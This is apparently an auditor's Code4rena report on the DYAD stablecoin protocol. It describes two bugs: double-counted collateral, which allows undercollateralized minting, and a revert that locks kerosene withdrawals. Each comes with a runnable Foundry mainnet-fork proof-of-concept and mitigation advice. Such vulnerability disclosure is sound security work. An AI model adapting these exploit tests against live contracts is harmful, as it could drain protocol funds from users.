DYAD - cinderblock's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L64-L65 https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L93-L95

Vulnerability details

Impact

In Deploy.V2.s.sol weth and wsteth vaults are added to both KerosineManager and VaultLicenser, wich means that a user can add the same vault with add() and addKerosine() in VaultManagerV2 and get twice the collateral accounted for the same deposit and mint DYAD with only 100% collateral, breaking the protocol minimum 150% collateral safety requirement (see poc). Also note that the unboundedKerosineVault seem to be incorrectly added to vaultLicenser, as this ensues that it is accounted for as exo collateral by VaultManagerV2.sol, subsequently, users can mint DYAD using kerosene only, wich breaks another safety mechanism of the protocol (as explained in https://youtu.be/ok4CBaqEajM?t=914).

Proof of Concept

The poc demonstrates how you can get double the collateral accounted for by simply adding the wethvault with VaultManagerV2.add() and then with VaultManagerV2.addKerosene(). Please make sure to replace ${MAINET_RPC_URL} with your rpc url or provide it as env variable.

1. git clone https://github.com/code-423n4/2024-04-dyad.git && cd 2024-04-dyad`
2. copy paste the poc content into 2024-04-dyad/test/fork/double.t.sol
3. git submodule update --init --recursive
4. forge install
5. forge test --match-path test/fork/double.t.sol --fork-url ${MAINNET_RPC_URL} -vv

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";
import {DNft} from "../../src/core/DNft.sol";
import "../../src/core/Dyad.sol";
import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import "../../src/staking/Kerosine.sol";
interface IWETH9 {
    fallback() external payable;

    function allowance(address, address) external view returns (uint256);
    function approve(address guy, uint256 wad) external returns (bool);
    function balanceOf(address) external view returns (uint256);
    function decimals() external view returns (uint8);
    function deposit() external payable;
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function transfer(address dst, uint256 wad) external returns (bool);
    function transferFrom(
        address src,
        address dst,
        uint256 wad
    ) external returns (bool);
    function withdraw(uint256 wad) external;
}

contract V2Test is Test, Parameters {
    Contracts contracts;
    IWETH9 weth = IWETH9(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
    DNft dnft = DNft(MAINNET_DNFT);
    Dyad dyad = Dyad(MAINNET_DYAD);
    address constant alice = address(0xa11ce);

    function setUp() public {
        contracts = new DeployV2().run();
        vm.deal(address(this), 1 ether);
        weth.deposit{value: 1 ether}();
        weth.transfer(alice, 1 ether);
        //
        Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
        vm.prank(MAINNET_OWNER);
        licenser.add(address(contracts.vaultManager));
    }

    // helper function to mint dnft
    function mint_dnft(address to) public returns (uint) {
        vm.startPrank(to);
        uint256 mint_price = dnft.START_PRICE() +
            (dnft.PRICE_INCREASE() * dnft.publicMints());
        console2.log("minting dnft for %s, mint_price %e", to, mint_price);
        vm.deal(to, mint_price);
        uint dnft_id = dnft.mintNft{value: mint_price}(address(to));
        console2.log("minted, dnft_id", dnft_id);
        vm.stopPrank();
        return dnft_id;
    }

    function test_deposit_double() public {
        uint alice_dnft = mint_dnft(alice);
        vm.startPrank(alice);
        weth.approve(address(contracts.vaultManager), type(uint256).max);
        contracts.vaultManager.add(alice_dnft, address(contracts.ethVault));
        contracts.vaultManager.deposit(
            alice_dnft,
            address(contracts.ethVault),
            1 ether
        );
        uint tot_usd_value = contracts.vaultManager.getTotalUsdValue(
            alice_dnft
        );
        console2.log("before addKerosene alice tot usd value %e", tot_usd_value);
        contracts.vaultManager.addKerosene(
            alice_dnft,
            address(contracts.ethVault)
        );
        tot_usd_value = contracts.vaultManager.getTotalUsdValue(
            alice_dnft
        );
        console2.log("after addKerosene alice tot usd value %e", tot_usd_value);
        console2.log("minting DYAD");
        contracts.vaultManager.mintDyad(alice_dnft, tot_usd_value / 2,alice);
        console2.log('DYAD balance %e', dyad.balanceOf(alice));
        vm.stopPrank();
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        return this.onERC721Received.selector;
    }
}

Tools Used

staring at code

Recommended Mitigation Steps

There seem to be a confusion around the role of kerosineManager: in VaultManagerV2, kerosineManager is supposed to return vaults that accept kerosene as collateral to differentiate between exogenous and endogenous collateral, but the issue is that weth and wsteth vaults are also added to kerosineManager in the deployement script, wich leads to the double accounting. The confusing part is that in UnboundedKerosineVault.assetPrice(), the KerosineManager is queried to get exogenous collateral vaults and calculate the deterministic kerosene price, wich seems correct (although confusing: kerosineManager returning non kerosene vaults).

Suggestions that should NOT be implemented seperatly:

1. Replace KerosineManager by an instance of Licenser: kerosineManager and Licenser both do the exact same thing, they could be two Licenser contracts deployed seperatlely, VaultLicenser to keep track of exo vaults only (weth and wsteth) and KerosineManager for bounded and unbounded kerosene.
2. KerosineManager should be renamed to KeroseneLicenser and it should track kerosene vaults not exo collateral vaults to avoid any further confusion.
3. UnboundedKerosineVault.assetPrice() should query VaultLicenser to get TVL in exo vaults (as per suggestion 1).
4. UnboundedKerosineVault should not be added to VaultLicenser (implicit if you follow suggestion 1, but just to reiterate)

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L148

Vulnerability details

Impact

Withdrawals and redemptions of kerosene through VaultManagerV2 will always revert because of the call _vault.oracle().decimals(): the UnboundedKeroseneVault dosen't implement an oracle() function, therefore all calls to withdraw() on unboundedKeroseneVault will revert, resulting in user funds stuck in VaultManagerV2.

Proof of Concept

1. git clone https://github.com/code-423n4/2024-04-dyad.git && cd 2024-04-dyad`
2. copy paste the poc content into 2024-04-dyad/test/fork/withdrawal.t.sol
3. git submodule update --init --recursive
4. forge install
5. forge test --match-path test/fork/withdrawal.t.sol --fork-url ${MAINNET_RPC_URL} -vvvv

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";
import {DNft} from "../../src/core/DNft.sol";
import "../../src/core/Dyad.sol";
import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import "../../src/staking/Kerosine.sol";
interface IWETH9 {
    event Approval(address indexed src, address indexed guy, uint256 wad);
    event Deposit(address indexed dst, uint256 wad);
    event Transfer(address indexed src, address indexed dst, uint256 wad);
    event Withdrawal(address indexed src, uint256 wad);

    fallback() external payable;

    function allowance(address, address) external view returns (uint256);
    function approve(address guy, uint256 wad) external returns (bool);
    function balanceOf(address) external view returns (uint256);
    function decimals() external view returns (uint8);
    function deposit() external payable;
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function transfer(address dst, uint256 wad) external returns (bool);
    function transferFrom(
        address src,
        address dst,
        uint256 wad
    ) external returns (bool);
    function withdraw(uint256 wad) external;
}

contract V2Test is Test, Parameters {
    address MAINNET_UNI_KEROSENE_WETH = 0x34a43471377Dcce420Ce8e3Ffd9360b2E08fa7B4;
    Contracts contracts;
    IWETH9 weth = IWETH9(payable(MAINNET_WETH));
    DNft dnft = DNft(MAINNET_DNFT);
    address constant alice = address(0xa11ce);
    Kerosine kero = Kerosine(MAINNET_KEROSENE);

    function setUp() public {
        vm.startPrank(MAINNET_UNI_KEROSENE_WETH);
        kero.transfer(alice, 100e18);
        vm.stopPrank();
        contracts = new DeployV2().run();
        vm.deal(address(this), 1 ether);
        //
        Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
        vm.prank(MAINNET_OWNER);
        licenser.add(address(contracts.vaultManager));
    }

    // helper function to mint dnft
    function mint_dnft(address to) public returns (uint) {
        vm.startPrank(to);
        uint256 mint_price = dnft.START_PRICE() +
            (dnft.PRICE_INCREASE() * dnft.publicMints());
        console2.log("minting dnft for %s, mint_price %e", to, mint_price);
        vm.deal(to, mint_price);
        uint dnft_id = dnft.mintNft{value: mint_price}(address(to));
        console2.log("minted, dnft_id", dnft_id);
        vm.stopPrank();
        return dnft_id;
    }

    function test_withdraw_kerosene() public {
        uint alice_dnft = mint_dnft(alice);
        vm.startPrank(alice);
        kero.approve(address(contracts.vaultManager), type(uint256).max);
        contracts.vaultManager.add(alice_dnft, address(contracts.unboundedKerosineVault));
        contracts.vaultManager.deposit(
            alice_dnft,
            address(contracts.unboundedKerosineVault),
            100e18
        );
        console2.log('deposited 100e18');
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 15);
        contracts.vaultManager.withdraw(
            alice_dnft,
            address(contracts.unboundedKerosineVault),
            1e18,
            alice
        );
        vm.stopPrank();
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        return this.onERC721Received.selector;
    }
}

Tools Used

manual audit

Recommended Mitigation Steps

A potential solution would be to modify Vault.getUsdValue() and KerosineVault.getUsdValue() to take the amount as a pramater and use it in VaultManagerV2 withdrawals to calculate value. Also, the withdraw() function in VaultmanagerV2 must only make the check on this line for exogenous vaults to be consistent with the protocol design.

Assessed type

DoS